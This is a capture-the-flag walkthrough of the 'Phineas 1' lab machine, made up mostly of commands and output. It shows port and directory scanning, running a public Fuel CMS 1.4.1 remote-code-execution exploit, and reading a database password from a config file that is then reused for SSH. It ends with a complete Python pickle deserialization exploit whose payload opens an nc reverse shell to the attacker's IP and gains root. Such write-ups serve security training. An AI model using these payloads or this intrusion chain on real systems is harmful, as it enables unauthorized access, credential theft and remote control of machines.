Phineas 1

netdiscover scan
Target IP is 192.168.56.108

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 229 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 13740
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:11    227   13620  Unknown vendor
 192.168.56.100  08:00:27:6b:15:8f      1      60  PCS Systemtechnik GmbH
 192.168.56.108  08:00:27:3b:70:a4      1      60  PCS Systemtechnik GmbH
```

nmap scan
Tcp port: 22, 80, 111, 3306

```
┌──[root@parrot]─[/home/user]
└──╼ #nmap -sC -sV -p- 192.168.56.108
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 15:48 BST
Nmap scan report for 192.168.56.108
Host is up (0.055s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 ac:d8:0a:a8:6a:1f:78:6d:ac:06:8f:65:3e:ff:9c:8b (RSA)
|   256 e7:f8:b0:07:1c:5b:4a:48:10:bc:f6:36:42:62:6c:e0 (ECDSA)
|_  256 c8:f0:ea:b8:bf:6b:a5:12:1f:9a:91:62:9d:1a:ce:75 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
3306/tcp open  mysql   MariaDB (unauthorized)
MAC Address: 08:00:27:3B:70:A4 (Oracle VirtualBox virtual NIC)
```

Main directory:
http://phineas

Main objective is to know subdirectories hidden on the main site.

```
┌─[✗]─[root@parrot]─[/]
└──╼ #ffuf -r -c -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://phineas/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
_____________________________________________

 :: Method           : GET
 :: URL              : http://phineas/FUZZ
 :: Wordlist         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
_____________________________________________

                        [Status: 403, Size: 4897, Words: 887, Lines: 121]
structure               [Status: 200, Size: 9288, Words: 267, Lines: 112]
:: Progress: [30000/30000] :: Job [1/1] :: 7847 req/sec :: Duration: [0:00:45] :: Errors: 2 ::
```

Web Directory:
http://phinease/structure

Main objective is to know subdirectories hidden under the structure directory.

```
┌─[root@parrot]─[/home/user]
└──╼ #ffuf -r -c -w /SecLists/Discovery/Web-Content/raft-medium-files.txt -u http://phineas/structure/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
_____________________________________________

 :: Method           : GET
 :: URL              : http://phineas/structure/FUZZ
 :: Wordlist         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
_____________________________________________

.htaccess               [Status: 403, Size: 221, Words: 15, Lines: 9]
robots.txt              [Status: 200, Size: 30, Words: 3, Lines: 2]
.html                   [Status: 403, Size: 217, Words: 15, Lines: 9]
.htpasswd               [Status: 403, Size: 221, Words: 15, Lines: 9]
.htm                    [Status: 403, Size: 216, Words: 15, Lines: 9]
.htpasswds              [Status: 403, Size: 222, Words: 15, Lines: 9]
index.php               [Status: 200, Size: 9288, Words: 267, Lines: 112]
.htgroup                [Status: 403, Size: 220, Words: 15, Lines: 9]
.htaccess.bak           [Status: 403, Size: 225, Words: 15, Lines: 9]
.htuser                 [Status: 403, Size: 219, Words: 15, Lines: 9]
.htc                    [Status: 403, Size: 216, Words: 15, Lines: 9]
.ht                     [Status: 403, Size: 215, Words: 15, Lines: 9]
:: Progress: [17128/17128] :: Job [1/1] :: 4084 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
```

hidden web directory:
http://phineas/structure/fuel

There's a hidden subdirectory named fuel which turns out to be a vulnerable CMS.

```
┌─[root@parrot]─[/]
└──╼ #curl http://phineas/structure/robots.txt
User-agent: *
Disallow: /fuel/┌─[root@parrot]─[/]
└──╼ #
```

Further fuzzing:
This is to further discover subdirectories hidden under fuel directory.

```
┌──[root@parrot]─[/home/user]
└─── #ffuf -r -c -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://phineas/structure/fuel/F
UZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
_____________________________________________

 :: Method           : GET
 :: URL              : http://phineas/structure/fuel/FUZZ
 :: Wordlist         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
_____________________________________________

modules                 [Status: 200, Size: 1141, Words: 106, Lines: 17]
scripts                 [Status: 200, Size: 722, Words: 53, Lines: 15]
install                 [Status: 200, Size: 1364, Words: 127, Lines: 18]
application             [Status: 200, Size: 3682, Words: 427, Lines: 29]
licenses                [Status: 200, Size: 1165, Words: 78, Lines: 17]
codeigniter             [Status: 200, Size: 2204, Words: 239, Lines: 22]
:: Progress: [30000/30000] :: Job [1/1] :: 6862 req/sec :: Duration: [0:00:39] :: Errors: 2 ::
```

fuel version
Vulnerable to exploit on searchsploit

On the site itself, there is a high probability that the fuel CMS version that was used is version 1.4

Index of /structure/fuel/install/upgrades

Name	Last modified	Size	Description
Parent Directory		-	
fuel_0.9.2_upgrade.sql	2017-03-18 01:13	231	
fuel_1.0_schema_chan..>	2017-03-18 01:13	4.0K	
fuel_1.2_schema_chan..>	2017-03-18 01:13	137	
fuel_1.3_schema_chan..>	2017-03-18 01:13	444	
fuel_1.4_schema_chan..>	2017-03-18 01:13	385	

searchsploit fuel
Using exploit – fuel cms 1.4.1 – Remote Code Execution (1)

```
┌─[user@parrot]─[/tmp]
└──╼ $searchsploit fuel
---------------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------------
AMD Fuel Service - 'Fuel.service' Unquote Service Path
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
fuel CMS 1.4.1 - Remote Code Execution (1)
Fuel CMS 1.4.1 - Remote Code Execution (2)
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
---------------------------------------------------------------------------
```

Confirmed RCE successful:
Able to list current directory

```
┌─[✗]─[user@parrot]─[/tmp/phineas]
└──╼ $python ./47138.py
cmd:"ls"
systemREADME.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
```

LFI:
cat /var/www/html/structure/fuel/application/config/database.php

From this alone, anna's credentials are disclosed.
'username' => 'anna',
'password' => 'H993hfkNNid5kk'

Response

Pretty Raw Render \n Actions

```
70 | ['failover'] array - A array with 0 or more data for connec
71 | ['save_queries'] TRUE/FALSE - Whether to "save" all executed
72 |         NOTE: Disabling this will also effectively disable l
73 |         $this->
   db->last_query() and profiling of DB queries.
74 |         When you run a query, with this setting set to TRU
75 |         CodeIgniter will store the SQL statement for debug
76 |         However, this may cause high memory usage, especia
77 |         a lot of SQL queries ... disable this to avoid tha
78 |
79 | The $active_group variable lets you choose which connecti
80 | make active.  By default there is only one group (the 'de
81 |
82 | The $query_builder variables lets you determine whether o
83 | the query builder class.
84 */
85 $active_group = 'default';
86 $query_builder = TRUE;
87
88 $db['default'] = array(
89 'dsn' => '',
90 'hostname' => 'localhost',
91 'username' => 'anna',
92 'password' => 'H993hfkNNid5kk',
93 'database' => 'anna',
94 'dbdriver' => 'mysqli',
```

Login as anna successful.

```
┌─[user@parrot]─[/tmp/phineas]
└──╼ $ssh anna@phineas
The authenticity of host 'phineas (192.168.56.108)' can't be established.
ECDSA key fingerprint is SHA256:1iDFrvBhm6okZBYf+uNGsEDNx4tHOOR98hRBXPGfqlY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'phineas,192.168.56.108' (ECDSA) to the list of known hosts.
anna@phineas's password:
[anna@phineas ~]$ ls -lah
```

Discovered some python web server running

```
root      1040  0.0  0.3 198060  4012 ?        Ss   10:40   0:00 /usr/sbin/cupsd -f
root      1041  0.0  0.1 115408  1448 ?        Ss   10:40   0:00 /bin/bash /root/run_flask.sh
root      1047  0.0  2.5 242300 25804 ?        S    10:40   0:01  \_ /usr/bin/python3 /usr/local/bin/flask run
```

Source code of the python program running on the python webserver:

Pickle has a known vulnerability on deserialization.

```
[anna@phineas web]$ ls -lah
total 12K
drwxr-xr-x.  4 root root   80 Apr  1 03:38 .
drwx------. 18 anna anna 4.0K Apr  1 05:28 ..
-rwxr-----.  1 root anna  263 Mar 31 05:39 app.py
-rw-------.  1 root root  591 Mar 31 04:39 app.pyc
drw-------.  2 root root   32 Apr  1 03:11 __pycache__
drw-------.  5 root root   74 Mar 31 04:41 python3-virtualenv
[anna@phineas web]$ cat app.py
#!/usr/bin/python3

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)


@app.route("/heaven", methods=["POST"])
def heaven():
    data = base64.urlsafe_b64decode(request.form['awesome'])
    pickle.loads(data)
    return '', 204
[anna@phineas web]$
```

Port forwarding
Create a connection to the target phineas.
The -L option means to forward to destination port 5000, attacker must connect to port 9000 on the localhost. This whole thing requires authentication, and anna's credential will be used.

```
┌─[✗]─[user@parrot]─[/tmp]
└──╼ $ssh -L 9000:127.0.0.1:5000 anna@phineas
anna@phineas's password:
Last login: Thu Jun 10 13:50:03 2021 from 192.168.56.106
[anna@phineas ~]$
```

To exploit this deserialization, consult:
https://davidhamann.de/2020/04/05/exploiting-python-pickle/

On the website, there is this exploit code, attacking machine IP and PORT needs to be modified. Additional code are added to exploit this deserialization in one go instead of having to input curl commands externally.

To trigger the exploit code:
1. Launch listener on attacking machine.

2. Do a curl to localhost on port 9000. Remember that by connecting to localhost 9000, connection is forwarded to target machine port 5000.

```python
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.106 443 > /tmp/f')
        return os.system, (cmd,)

if __name__ == "__main__":
    pickled = pickle.dumps(RCE())
    payload = base64.urlsafe_b64encode(pickled)
    payload = payload.decode()

    trigger_exploit = "curl -d " + f"\"awesome={payload}\"" + ' http://127.0.0.1:9000/heaven'
    os.system(trigger_exploit)
```

root shell

```
└──╼ #nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.108] 52302
sh: no job control in this shell
sh-4.2#
```

root flag

```
sh-4.2# cat root.txt
cat root.txt
YW5uYW1hcmlhbmljb3NhbnRpdml2ZSE
```